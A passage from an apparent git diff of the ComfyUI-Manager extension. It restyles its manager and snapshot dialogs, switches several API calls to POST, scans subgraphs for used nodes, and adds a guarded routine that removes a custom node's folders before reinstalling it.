save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
self.getNodeName(), self.getPackName(), self.category.value.trim());
}
});
let default_nodename = getPureName(this.target_node).trim();
let groupNode = app.graph.extra.groupNodes[default_nodename];
let default_packname = groupNode.packname;
if(!default_packname) {
default_packname = '';
}
let default_category = groupNode.category;
if(!default_category) {
default_category = '';
}
this.default_ver = groupNode.version;
if(!this.default_ver) {
this.default_ver = '0.0';
}
let default_author = groupNode.author;
if(!default_author) {
default_author = '';
}
let delimiterIndex = default_nodename.indexOf('::');
let default_prefix = "";
if(delimiterIndex != -1) {
default_prefix = default_nodename.substring(0, delimiterIndex);
default_nodename = default_nodename.substring(delimiterIndex + 2);
}
if(!default_prefix) {
this.save_button.disabled = true;
}
this.pack_list = this.createPackListCombo();
let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ', this.default_ver);
this.version_string = version_string[1];
this.version_string.disabled = true;
let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ', default_author);
this.author = author[1];
let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ', default_prefix);
this.node_prefix = node_prefix[1];
let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
this.manual_nodename = manual_nodename[1];
let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ', default_packname);
this.manual_packname = manual_packname[1];
let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ', default_category);
this.category = category[1];
this.node_label = this.createNodeLabel();
let author_mode = this.createAuthorModeCheck();
this.author_mode = author_mode[0];
const content =
$el("div.comfy-modal-content",
[
$el("tr.cm-title", {}, [
$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
),
$el("br", {}, []),
$el("div.cm-menu-container",
[
author_mode[0],
author_mode[1],
category[0],
author[0],
node_prefix[0],
manual_nodename[0],
manual_packname[0],
version_string[0],
this.pack_list,
$el("br", {}, []),
this.node_label
]),
$el("br", {}, []),
this.save_button,
close_button,
]
);
content.style.width = '100%';
content.style.height = '100%';
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
}
validateInput() {
let msg = "";
if(!isValidVersionString(this.version_string.value)) {
msg += 'Invalid version string: '+event.value+"\n";
}
if(this.node_prefix.value.trim() == '') {
msg += 'Node prefix cannot be empty\n';
}
if(this.manual_nodename.value.trim() == '') {
msg += 'Node name cannot be empty\n';
}
if(msg != '') {
// alert(msg);
}
this.save_button.disabled = msg != "";
}
getPackName() {
if(this.pack_list.selectedIndex == 0) {
return this.manual_packname.value.trim();
}
return this.pack_list.value.trim();
}
getNodeName() {
if(this.manual_nodename.value.trim() != '') {
return this.manual_nodename.value.trim();
}
return getPureName(this.target_node);
}
createAuthorModeCheck() {
let check = $el("input",{type:'checkbox', id:"author-mode"},[])
const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
check_label.style.color = "var(--fg-color)";
check_label.style.cursor = "pointer";
check.checked = false;
let self = this;
check.onchange = () => {
self.version_string.disabled = !check.checked;
if(!check.checked) {
self.version_string.value = self.default_ver;
}
else {
customAlert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
}
};
return [check, check_label];
}
createNodeLabel() {
let label = $el('p');
label.className = 'cb-node-label';
if(this.target_node.comfyClass.includes('::'))
label.textContent = getPureName(this.target_node);
else
label.textContent = " _::" + getPureName(this.target_node);
return label;
}
createLabeledInput(placeholder, label, value) {
let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
let self = this;
textbox.onchange = () => {
this.validateInput.call(self);
this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
}
let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
return [row, textbox];
}
createPackListCombo() {
let combo = document.createElement("select");
combo.className = "cb-widget";
let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
combo.appendChild($el('option', default_packname_option, []));
for(let name in pack_map) {
combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
}
let self = this;
combo.onchange = function () {
if(combo.selectedIndex == 0) {
self.manual_packname.disabled = false;
}
else {
self.manual_packname.disabled = true;
}
};
return combo;
}
}
let orig_handleFile = app.handleFile;
async function handleFile(file) {
if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
const reader = new FileReader();
reader.onload = async () => {
let is_component = false;
const jsonContent = JSON.parse(reader.result);
for(let name in jsonContent) {
let cand = jsonContent[name];
is_component = cand.datetime && cand.version;
break;
}
if(is_component) {
await handle_import_components(jsonContent);
}
else {
orig_handleFile.call(app, file);
}
};
reader.readAsText(file);
return;
}
orig_handleFile.call(app, file);
}
app.handleFile = handleFile;
let current_component_policy = 'workflow';
try {
api.fetchApi('/v2/manager/policy/component')
.then(response => response.text())
.then(data => { current_component_policy = data; });
}
catch {}
function getChangedVersion(groupNodes) {
if(!Object.keys(pack_map).length || !groupNodes)
return null;
let res = {};
for(let component_name in groupNodes) {
let data = groupNodes[component_name];
if(rpack_map[component_name]) {
let v = versionCompare(data.version, rpack_map[component_name].version);
res[component_name] = v;
}
}
return res;
}
const loadGraphData = app.loadGraphData;
app.loadGraphData = async function () {
if(arguments.length == 0)
return await loadGraphData.apply(this, arguments);
let graphData = arguments[0];
let groupNodes = graphData.extra?.groupNodes;
let res = getChangedVersion(groupNodes);
if(res) {
let target_components = null;
switch(current_component_policy) {
case 'higher':
target_components = Object.keys(res).filter(key => res[key] == 1);
break;
case 'mine':
target_components = Object.keys(res);
break;
default:
// do nothing
}
if(target_components) {
for(let i in target_components) {
let component_name = target_components[i];
let component = rpack_map[component_name];
if(component && graphData.extra?.groupNodes) {
graphData.extra.groupNodes[component_name] = component;
}
}
}
}
else {
console.log('Empty components: policy ignored');
}
arguments[0] = graphData;
return await loadGraphData.apply(this, arguments);
};
export function set_component_policy(v) {
current_component_policy = v;
}
let graphToPrompt = app.graphToPrompt;
app.graphToPrompt = async function () {
let p = await graphToPrompt.call(app);
try {
let groupNodes = p.workflow.extra?.groupNodes;
if(groupNodes) {
p.workflow.extra = { ... p.workflow.extra};
// get used group nodes
let used_group_nodes = new Set();
for(let node of p.workflow.nodes) {
if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
used_group_nodes.add(node.type.substring(9));
}
}
// remove unused group nodes
let new_groupNodes = {};
for (let key in p.workflow.extra.groupNodes) {
if (used_group_nodes.has(key)) {
new_groupNodes[key] = p.workflow.extra.groupNodes[key];
}
}
p.workflow.extra.groupNodes = new_groupNodes;
}
}
catch(e) {
console.log(`Failed to filtering group nodes: ${e}`);
}
return p;
}
+39 -9
View File
@@ -1,8 +1,9 @@
.cn-manager {
--grid-font: -apple-system, BlinkMacSystemFont, "Segue UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
z-index: 1099;
width: 80%;
height: 80%;
width: 80vw;
height: 75vh;
min-height: 30em;
display: flex;
flex-direction: column;
gap: 10px;
@@ -10,6 +11,7 @@
font-family: arial, sans-serif;
text-underline-offset: 3px;
outline: none;
margin: calc(var(--spacing)*2);
}
.cn-manager .cn-flex-auto {
@@ -17,17 +19,21 @@
}
.cn-manager button {
width: auto;
position: relative;
overflow: hidden;
font-size: 16px;
color: var(--input-text);
background-color: var(--comfy-input-bg);
border-radius: 8px;
border-color: var(--border-color);
border-style: solid;
margin: 0;
padding: 4px 8px;
min-width: 100px;
}
.cn-manager button:hover {
filter: brightness(125%);
}
.cn-manager button:disabled,
.cn-manager input:disabled,
.cn-manager select:disabled {
@@ -40,8 +46,13 @@
.cn-manager .cn-manager-restart {
display: none;
background-color: #500000;
color: white;
background-color: #500000 !important;
border-color: #88181b !important;
color: white !important;
}
.cn-manager .cn-manager-restart:hover {
background-color: #88181b !important;
}
.cn-manager .cn-manager-stop {
@@ -79,7 +90,6 @@
flex-wrap: wrap;
gap: 5px;
align-items: center;
padding: 0 5px;
}
.cn-manager-header label {
@@ -91,16 +101,32 @@
.cn-manager-filter {
height: 28px;
line-height: 28px;
cursor: pointer;
padding: 0.5em 0.5em;
border: 1px solid var(--border-color);
border-radius: 6px;
background: var(--comfy-input-bg);
}
.cn-manager-filter:hover {
filter: brightness(125%);
}
.cn-manager-keywords {
height: 28px;
line-height: 28px;
padding: 0 5px 0 26px;
background: var(--comfy-input-bg);
background-size: 16px;
background-position: 5px center;
background-repeat: no-repeat;
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
border: 1px solid var(--border-color);
border-radius: 6px;
outline-color: transparent;
}
.cn-manager-status {
@@ -588,6 +614,10 @@
height: 100%;
}
.cn-install-buttons button {
padding: 4px 8px;
}
.cn-selected-buttons {
display: flex;
gap: 5px;
+61 -41
View File
@@ -1,6 +1,7 @@
import { app } from "../../scripts/app.js";
import { ComfyDialog, $el } from "../../scripts/ui.js";
import { api } from "../../scripts/api.js";
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
import {
manager_instance, rebootAPI, install_via_git_url,
@@ -18,32 +19,19 @@ loadCss("./custom-nodes-manager.css");
const gridId = "node";
const pageHtml = `
<div class="cn-manager-header">
<label>Filter
<select class="cn-manager-filter"></select>
</label>
<input class="cn-manager-keywords" type="search" placeholder="Search" />
<div class="cn-manager-status"></div>
<div class="cn-flex-auto"></div>
<div class="cn-manager-channel"></div>
</div>
<div class="cn-manager-grid"></div>
<div class="cn-manager-selection"></div>
<div class="cn-manager-message"></div>
<div class="cn-manager-footer">
<button class="cn-manager-back">
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
Back
</button>
<button class="cn-manager-restart">Restart</button>
<button class="cn-manager-stop">Stop</button>
<div class="cn-flex-auto"></div>
<button class="cn-manager-used-in-workflow">Used In Workflow</button>
<button class="cn-manager-check-update">Check Update</button>
<button class="cn-manager-check-missing">Check Missing</button>
<button class="cn-manager-install-url">Install via Git URL</button>
<div class="cn-manager cn-manager-dark">
<div class="cn-manager-grid"></div>
<div class="cn-manager-selection"></div>
<div class="cn-manager-message"></div>
<div class="cn-manager-footer">
<button class="cn-manager-restart p-button p-component">Restart</button>
<button class="cn-manager-stop p-button p-component">Stop</button>
<div class="cn-flex-auto"></div>
<button class="cn-manager-used-in-workflow p-button p-component">Used In Workflow</button>
<button class="cn-manager-check-update p-button p-component">Check Update</button>
<button class="cn-manager-check-missing p-button p-component">Check Missing</button>
<button class="cn-manager-install-url p-button p-component">Install via Git URL</button>
</div>
</div>
`;
@@ -89,11 +77,26 @@ export class CustomNodesManager {
}
init() {
this.element = $el("div", {
parent: document.body,
className: "comfy-modal cn-manager"
});
this.element.innerHTML = pageHtml;
const header = $el("div.cn-manager-header.px-2", {}, [
// $el("label", {}, [
// $el("span", { textContent: "Filter" }),
// $el("select.cn-manager-filter")
// ]),
createSettingsCombo("Filter", $el("select.cn-manager-filter")),
$el("input.cn-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
$el("div.cn-manager-status"),
$el("div.cn-flex-auto"),
$el("div.cn-manager-channel")
]);
const frame = buildGuiFrameCustomHeader(
'cn-manager-dialog', // dialog id
header, // custom header element
pageHtml, // dialog content element
this
); // send this so we can attach close functions
this.element = frame;
this.element.setAttribute("tabindex", 0);
this.element.focus();
@@ -372,7 +375,7 @@ export class CustomNodesManager {
return list.map(id => {
const bt = buttons[id];
return `<button class="cn-btn-${id}" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
return `<button class="cn-btn-${id} p-button p-component" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
}).join("");
}
@@ -459,7 +462,7 @@ export class CustomNodesManager {
".cn-manager-stop": {
click: () => {
api.fetchApi('/v2/manager/queue/reset');
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
},
@@ -655,7 +658,6 @@ export class CustomNodesManager {
}
renderGrid() {
// update theme
const globalStyle = window.getComputedStyle(document.body);
this.colorVars = {
@@ -1626,17 +1628,35 @@ export class CustomNodesManager {
getNodesInWorkflow() {
let usedGroupNodes = new Set();
let allUsedNodes = {};
const visitedGraphs = new Set();
for(let k in app.graph._nodes) {
let node = app.graph._nodes[k];
const visitGraph = (graph) => {
if (!graph || visitedGraphs.has(graph)) return;
visitedGraphs.add(graph);
if(node.type.startsWith('workflow>')) {
usedGroupNodes.add(node.type.slice(9));
continue;
const nodes = graph._nodes || graph.nodes || [];
for(let k in nodes) {
let node = nodes[k];
if (!node) continue;
// If it's a SubgraphNode, recurse into its graph and continue searching
if (node.isSubgraphNode?.() && node.subgraph) {
visitGraph(node.subgraph);
}
if (!node.type) continue;
// Group nodes / components
if(typeof node.type === 'string' && node.type.startsWith('workflow>')) {
usedGroupNodes.add(node.type.slice(9));
continue;
}
allUsedNodes[node.type] = node;
}
};
allUsedNodes[node.type] = node;
}
visitGraph(app.graph);
for(let k of usedGroupNodes) {
let subnodes = app.graph.extra.groupNodes[k]?.nodes;
+31 -7
View File
@@ -1,13 +1,15 @@
.cmm-manager {
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
z-index: 1099;
width: 80%;
height: 80%;
width: 80vw;
height: 75vh;
min-height: 30em;
display: flex;
flex-direction: column;
gap: 10px;
color: var(--fg-color);
font-family: arial, sans-serif;
margin: calc(var(--spacing)*2);
}
.cmm-manager .cmm-flex-auto {
@@ -18,14 +20,15 @@
font-size: 16px;
color: var(--input-text);
background-color: var(--comfy-input-bg);
border-radius: 8px;
border-color: var(--border-color);
border-style: solid;
margin: 0;
padding: 4px 8px;
min-width: 100px;
}
.cmm-manager button:hover {
filter: brightness(125%);
}
.cmm-manager button:disabled,
.cmm-manager input:disabled,
.cmm-manager select:disabled {
@@ -38,7 +41,7 @@
.cmm-manager .cmm-manager-refresh {
display: none;
background-color: #000080;
background-color: #000080 !important;
color: white;
}
@@ -53,7 +56,6 @@
flex-wrap: wrap;
gap: 5px;
align-items: center;
padding: 0 5px;
}
.cmm-manager-header label {
@@ -67,16 +69,34 @@
.cmm-manager-filter {
height: 28px;
line-height: 28px;
cursor: pointer;
padding: 0.5em 0.5em;
border: 1px solid var(--border-color);
border-radius: 6px;
background: var(--comfy-input-bg);
}
.cmm-manager-type:hover,
.cmm-manager-base:hover,
.cmm-manager-filter:hover {
filter: brightness(125%);
}
.cmm-manager-keywords {
height: 28px;
line-height: 28px;
padding: 0 5px 0 26px;
background: var(--comfy-input-bg);
background-size: 16px;
background-position: 5px center;
background-repeat: no-repeat;
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
border: 1px solid var(--border-color);
border-radius: 6px;
outline-color: transparent;
}
.cmm-manager-status {
@@ -148,6 +168,10 @@
color: white;
}
.cmm-btn-install {
padding: 4px 8px;
}
.cmm-btn-download {
width: 18px;
height: 18px;
+30 -35
View File
@@ -9,39 +9,22 @@ import { api } from "../../scripts/api.js";
// https://cenfun.github.io/turbogrid/api.html
import TG from "./turbogrid.esm.js";
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
loadCss("./model-manager.css");
const gridId = "model";
const pageHtml = `
<div class="cmm-manager-header">
<label>Filter
<select class="cmm-manager-filter"></select>
</label>
<label>Type
<select class="cmm-manager-type"></select>
</label>
<label>Base
<select class="cmm-manager-base"></select>
</label>
<input class="cmm-manager-keywords" type="search" placeholder="Search" />
<div class="cmm-manager-status"></div>
<div class="cmm-flex-auto"></div>
</div>
<div class="cmm-manager-grid"></div>
<div class="cmm-manager-selection"></div>
<div class="cmm-manager-message"></div>
<div class="cmm-manager-footer">
<button class="cmm-manager-back">
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
Back
</button>
<button class="cmm-manager-refresh">Refresh</button>
<button class="cmm-manager-stop">Stop</button>
<div class="cmm-flex-auto"></div>
<div class="cmm-manager cmm-manager-dark">
<div class="cmm-manager-grid"></div>
<div class="cmm-manager-selection"></div>
<div class="cmm-manager-message"></div>
<div class="cmm-manager-footer">
<button class="cmm-manager-refresh p-button p-component">Refresh</button>
<button class="cmm-manager-stop p-button p-component">Stop</button>
<div class="cmm-flex-auto"></div>
</div>
</div>
`;
@@ -64,11 +47,23 @@ export class ModelManager {
}
init() {
this.element = $el("div", {
parent: document.body,
className: "comfy-modal cmm-manager"
});
this.element.innerHTML = pageHtml;
const header = $el("div.cmm-manager-header", {}, [
createSettingsCombo("Filter", $el("select.cmm-manager-filter")),
createSettingsCombo("Type", $el("select.cmm-manager-type")),
createSettingsCombo("Base", $el("select.cmm-manager-base")),
$el("input.cmm-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
$el("div.cmm-manager-status"),
$el("div.cmm-flex-auto")
]);
const frame = buildGuiFrameCustomHeader(
'cmm-manager-dialog', // dialog id
header, // custom header element
pageHtml, // dialog content element
this
); // send this so we can attach close functions
this.element = frame;
this.initFilter();
this.bindEvents();
this.initGrid();
@@ -175,7 +170,7 @@ export class ModelManager {
".cmm-manager-stop": {
click: () => {
api.fetchApi('/v2/manager/queue/reset');
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
},
@@ -347,7 +342,7 @@ export class ModelManager {
if (installed === "True") {
return `<div class="cmm-icon-passed">${icons.passed}</div>`;
}
return `<button class="cmm-btn-install" mode="install">Install</button>`;
return `<button class="cmm-btn-install p-button p-component" mode="install">Install</button>`;
}
}, {
id: 'url',
@@ -420,7 +415,7 @@ export class ModelManager {
}
this.selectedModels = selectedList;
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install" mode="install">Install</button>`);
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install p-button p-component" mode="install">Install</button>`);
}
focusInstall(item) {
+65
View File
@@ -0,0 +1,65 @@
.snapshot-manager {
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
z-index: 1099;
width: 80vw;
height: 75vh;
min-height: 30em;
display: flex;
flex-direction: column;
gap: 10px;
color: var(--fg-color);
font-family: arial, sans-serif;
text-underline-offset: 3px;
outline: none;
margin: calc(var(--spacing)*2);
}
.snapshot-manager button {
width: auto;
position: relative;
overflow: hidden;
font-size: 16px;
color: var(--input-text);
background-color: var(--comfy-input-bg);
border-color: var(--border-color);
margin: 0;
min-width: 100px;
padding: 4px 8px;
}
.snapshot-manager .snapshot-restore-btn {
background-color: #00158f !important;
border-color: #2025b9 !important;
color: white !important;
}
.snapshot-manager .snapshot-remove-btn {
background-color: #970000 !important;
border-color: #be2127 !important;
color: white !important;
}
.snapshot-manager button:hover {
filter: brightness(125%);
}
.snapshot-manager .data-btns {
display: flex;
flex-direction: column;
gap: calc(var(--spacing)*2);
padding: calc(var(--spacing)*2);
align-items: center;
justify-content: center;
height: 100%;
}
.snapshot-footer {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.snapshot-manager .cn-flex-auto {
flex: auto;
}
+39 -28
View File
@@ -1,13 +1,15 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { ComfyDialog, $el } from "../../scripts/ui.js";
import { manager_instance, rebootAPI, show_message } from "./common.js";
import { manager_instance, rebootAPI, show_message, loadCss } from "./common.js";
import { buildGuiFrame } from "./comfyui-gui-builder.js";
loadCss("./snapshot.css");
async function restore_snapshot(target) {
if(SnapshotManager.instance) {
try {
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { cache: "no-store" });
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { method: 'POST', cache: "no-store" });
if(response.status == 403) {
show_message('This action is not allowed with this security level configuration.');
@@ -27,7 +29,7 @@ async function restore_snapshot(target) {
}
finally {
await SnapshotManager.instance.invalidateControl();
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='cm-small-button'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='p-button p-component'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
}
}
}
@@ -35,7 +37,7 @@ async function restore_snapshot(target) {
async function remove_snapshot(target) {
if(SnapshotManager.instance) {
try {
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { cache: "no-store" });
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { method: 'POST', cache: "no-store" });
if(response.status == 403) {
show_message('This action is not allowed with this security level configuration.');
@@ -61,7 +63,7 @@ async function remove_snapshot(target) {
async function save_current_snapshot() {
try {
const response = await api.fetchApi('/v2/snapshot/save', { cache: "no-store" });
const response = await api.fetchApi('/v2/snapshot/save', { method: 'POST', cache: "no-store" });
app.ui.dialog.close();
return true;
}
@@ -88,6 +90,8 @@ export class SnapshotManager extends ComfyDialog {
message_box = null;
data = null;
content = $el("div.snapshot-manager");
clear() {
this.restore_buttons = [];
this.message_box = null;
@@ -96,9 +100,18 @@ export class SnapshotManager extends ComfyDialog {
constructor(app, manager_dialog) {
super();
this.manager_dialog = manager_dialog;
// this.manager_dialog = manager_dialog;
this.search_keyword = '';
this.element = $el("div.comfy-modal", { parent: document.body }, []);
const frame = buildGuiFrame(
'snapshot-manager-dialog', // dialog id
'Snapshot Manager', // title
'i.mdi.mdi-puzzle', // icon class
this.content, // dialog content element
this
); // send this so we can attach close functions
this.element = frame;
}
async remove_item() {
@@ -109,7 +122,7 @@ export class SnapshotManager extends ComfyDialog {
createControls() {
return [
$el("button.cm-small-button", {
$el("button.p-button.p-component", {
type: "button",
textContent: "Close",
onclick: () => { this.close(); }
@@ -132,8 +145,8 @@ export class SnapshotManager extends ComfyDialog {
this.clear();
this.data = (await getSnapshotList()).items;
while (this.element.children.length) {
this.element.removeChild(this.element.children[0]);
while (this.content.children.length) {
this.content.removeChild(this.content.children[0]);
}
await this.createGrid();
@@ -204,20 +217,21 @@ export class SnapshotManager extends ComfyDialog {
data2.innerHTML = `&nbsp;${data}`;
var data_button = document.createElement('td');
data_button.style.textAlign = "center";
data_button.className = "data-btns";
var restoreBtn = document.createElement('button');
restoreBtn.className = "snapshot-restore-btn p-button p-component";
restoreBtn.innerHTML = 'Restore';
restoreBtn.style.width = "100px";
restoreBtn.style.backgroundColor = 'blue';
restoreBtn.addEventListener('click', function() {
restore_snapshot(data);
});
var removeBtn = document.createElement('button');
removeBtn.className = "snapshot-remove-btn p-button p-component";
removeBtn.innerHTML = 'Remove';
removeBtn.style.width = "100px";
removeBtn.style.backgroundColor = 'red';
removeBtn.addEventListener('click', function() {
remove_snapshot(data);
@@ -241,13 +255,14 @@ export class SnapshotManager extends ComfyDialog {
let self = this;
const panel = document.createElement('div');
panel.style.width = "100%";
panel.style.height = "100%";
panel.appendChild(grid);
function handleResize() {
const parentHeight = self.element.clientHeight;
const gridHeight = parentHeight - 200;
grid.style.height = gridHeight + "px";
// grid.style.height = gridHeight + "px";
}
window.addEventListener("resize", handleResize);
@@ -256,25 +271,17 @@ export class SnapshotManager extends ComfyDialog {
grid.style.width = "100%";
grid.style.height = "100%";
grid.style.overflowY = "scroll";
this.element.style.height = "85%";
this.element.style.width = "80%";
this.element.appendChild(panel);
this.content.appendChild(panel);
handleResize();
}
async createBottomControls() {
var close_button = document.createElement("button");
close_button.className = "cm-small-button";
close_button.innerHTML = "Close";
close_button.onclick = () => { this.close(); }
close_button.style.display = "inline-block";
var save_button = document.createElement("button");
save_button.className = "cm-small-button";
save_button.className = "p-button p-component";
save_button.innerHTML = "Save snapshot";
save_button.onclick = () => { save_current_snapshot(); }
save_button.style.display = "inline-block";
save_button.style.horizontalAlign = "right";
save_button.style.width = "170px";
@@ -282,15 +289,19 @@ export class SnapshotManager extends ComfyDialog {
this.message_box.style.height = '60px';
this.message_box.style.verticalAlign = 'middle';
this.element.appendChild(this.message_box);
this.element.appendChild(close_button);
this.element.appendChild(save_button);
const footer = $el("div.snapshot-footer");
const spacer = $el("div.cn-flex-auto");
footer.appendChild(spacer);
footer.appendChild(save_button);
this.content.appendChild(this.message_box);
this.content.appendChild(footer);
}
async show() {
try {
this.invalidateControl();
this.element.style.display = "block";
this.element.style.display = "flex";
this.element.style.zIndex = 1099;
}
catch(exception) {
+264 -66
View File
@@ -15,6 +15,7 @@ import platform
from datetime import datetime
import git
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
from git.remote import RemoteProgress
from urllib.parse import urlparse
from tqdm.auto import tqdm
@@ -41,12 +42,20 @@ from ..common.enums import NetworkMode, SecurityLevel, DBMode
from ..common import context
version_code = [4, 0]
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
try:
from importlib.metadata import version as _pkg_version
_raw_version = _pkg_version("comfyui-manager")
except Exception:
_raw_version = "unknown"
version_str = f"V{_raw_version}"
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
default_custom_nodes_path = None
@@ -160,7 +169,7 @@ comfy_ui_revision = "Unknown"
comfy_ui_commit_datetime = datetime(1900, 1, 1, 0, 0, 0)
channel_dict = None
valid_channels = {'default', 'local'}
valid_channels = {'default', 'local', DEFAULT_CHANNEL, DEFAULT_CHANNEL_LEGACY}
channel_list = None
@@ -1131,6 +1140,71 @@ class UnifiedManager:
return result
def purge_node_state(self, node_id: str):
"""
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
Used by reinstall to guarantee clean state before re-installation.
"""
if 'comfyui-manager' in node_id.lower():
return
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
paths_to_remove = set()
def _add_path(raw_path):
"""Normalize and validate a path before adding to removal set."""
if not raw_path:
return
resolved = os.path.normcase(os.path.realpath(raw_path))
if resolved == custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
return
try:
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
return
except ValueError:
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
return
paths_to_remove.add(resolved)
# Collect paths from all dictionaries
entry = self.unknown_active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.unknown_inactive_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
fullpath = self.nightly_inactive_nodes.get(node_id)
if fullpath is not None:
_add_path(fullpath)
ver_map = self.cnr_inactive_nodes.get(node_id)
if ver_map is not None:
for key, fp in ver_map.items():
_add_path(fp)
# Convention-based fallback path
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
# Remove all validated paths, then always clean dictionaries
try:
for path in paths_to_remove:
if os.path.exists(path):
try_rmtree(node_id, path)
finally:
self.unknown_active_nodes.pop(node_id, None)
self.active_nodes.pop(node_id, None)
self.unknown_inactive_nodes.pop(node_id, None)
self.nightly_inactive_nodes.pop(node_id, None)
self.cnr_inactive_nodes.pop(node_id, None)
def unified_uninstall(self, node_id: str, is_unknown: bool):
"""
Remove whole installed custom nodes including inactive nodes
@@ -1390,6 +1464,7 @@ class UnifiedManager:
return ManagedResult('skip')
elif self.is_disabled(node_id):
return self.unified_enable(node_id)
else:
version_spec = self.resolve_unspecified_version(node_id)
@@ -1406,8 +1481,18 @@ class UnifiedManager:
else: # nightly
repo_url = the_node['repository']
else:
